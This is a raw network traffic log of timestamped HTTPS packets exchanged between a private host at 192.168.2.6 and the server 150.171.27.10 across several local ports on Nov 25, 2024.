Nov 25, 2024 05:46:20.988390923 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:20.988405943 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.988442898 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:20.988467932 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.003787994 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.003812075 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.003856897 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.003866911 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.003906965 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.003918886 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.014302015 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.014353991 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.014389038 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.014401913 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.014436007 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.014452934 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.034071922 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.034091949 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.034172058 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.034181118 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.034229040 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.046237946 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.046274900 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.046353102 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.046363115 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.046406031 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.058796883 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.058844090 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.058886051 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.058892965 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.058949947 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.058949947 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.085604906 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.085629940 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.085733891 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.085743904 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.085762024 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.085796118 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.089792013 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.089843988 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.089880943 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.089889050 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.089935064 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.089956045 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.121062994 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.121092081 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.121177912 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.121189117 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.121233940 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.122549057 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.122569084 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.122709990 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.122720957 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.123908043 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.143332958 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.143357992 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.143490076 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.143501997 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.143544912 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.153810978 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.153831959 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.153930902 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.153950930 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.153989077 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.154099941 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.164089918 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.164112091 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.164174080 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.164184093 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.164227962 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.164247990 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.165441990 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.165463924 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.165508032 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.165515900 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.165541887 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.165565968 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.177576065 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.177594900 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.177736044 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.177745104 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.179905891 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.191304922 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.191361904 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.191441059 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.191451073 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.191484928 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.191484928 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.191939116 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.191956043 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.192029953 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.192038059 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.195903063 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.196989059 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.197026014 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.197159052 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.197168112 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.199949980 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.215929985 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.215950012 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.216049910 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.216058016 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.216110945 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.221666098 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.221712112 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.221771955 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.221781969 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.221823931 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.221823931 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.231252909 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.231280088 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.231340885 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.231348038 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.231405020 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.231405020 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.236984968 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.237000942 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.237076998 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.237083912 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.239897966 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.245270014 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.245326996 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.245383978 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.245397091 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.245431900 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.245474100 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.261357069 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.261380911 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.261482000 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.261502028 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.261548042 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.263362885 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.263406038 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.263447046 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.263454914 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.263493061 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.263533115 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.278898001 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.278955936 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.279015064 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.279022932 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.279072046 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.279083014 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.279113054 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.279135942 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.279181957 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.279190063 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.279223919 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.279252052 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.292687893 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.292715073 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.292792082 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.292799950 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.292854071 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.292874098 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.299871922 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.299910069 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.299994946 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.300004959 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.300026894 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.300060987 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.307559967 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.307588100 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.307694912 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.307707071 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.307750940 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.310581923 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.310641050 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.310717106 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.310717106 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.310725927 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.311228037 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.322364092 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.322390079 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.322504044 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.322515965 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.322890997 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.326411009 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.326433897 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.326569080 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.326569080 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.326581001 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.326682091 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.337234020 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.337285042 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.337337971 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.337349892 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.337389946 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.337418079 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.338974953 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.338993073 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.339087963 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.339087963 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.339097977 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.339195013 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.351062059 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.351110935 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.351183891 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.351191998 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.351233006 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.351259947 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.353447914 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.353466988 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.353559971 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.353570938 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.355963945 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.361929893 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.361991882 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.362040043 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.362055063 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.362090111 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.362123966 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.375119925 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.375138998 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.375226974 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.375240088 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.375289917 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.375310898 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.388710022 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.388771057 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.388812065 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.388822079 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.388916016 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.388916016 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.390254974 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.390273094 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.390389919 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.390405893 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.390533924 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.403942108 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.404016972 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.404047966 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.404057980 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.404089928 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.404112101 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.405232906 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.405251980 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.405316114 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.405328989 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.405359030 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.405376911 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.418267965 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.418283939 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.418373108 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.418386936 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.418435097 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.418687105 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.418792963 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.418843031 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.418893099 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.418906927 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.418924093 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.418988943 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.781644106 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.781656027 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.781702995 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.781728029 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.781738997 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.781739950 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.781735897 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.781754017 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.781790018 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.781794071 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.781795025 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.781795025 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.781820059 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.781838894 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.781876087 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.781878948 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.781883955 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.781894922 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.781898975 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.781929970 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.781936884 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.781960011 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.781965971 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.782011032 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.782033920 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.782042980 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.782073021 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.782110929 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.782119036 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.782135010 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.782138109 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.782191992 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.782198906 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.782208920 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.782221079 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.782263994 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.782263994 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.782275915 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.782294989 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.782319069 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.782361031 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.782402039 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.782452106 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.782494068 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.782500029 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.782536983 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.782536983 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.783014059 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.783030033 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.783088923 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.783097029 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.783097029 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.783138037 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.783139944 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.783139944 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.783189058 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.783204079 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.783214092 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.783277988 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.783282995 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.783343077 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.783359051 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.783361912 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.783385992 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.783415079 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.783415079 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.783422947 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.783444881 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.783452034 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.783472061 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.783487082 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.783507109 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.783533096 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.784032106 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.784063101 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.784084082 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.784112930 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.784130096 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.784156084 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.784198046 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.784207106 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.784210920 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.784214973 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.784245968 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.784250021 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.784276009 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.784276009 CET	49728	443	192.168.2.6	150.171.27.10
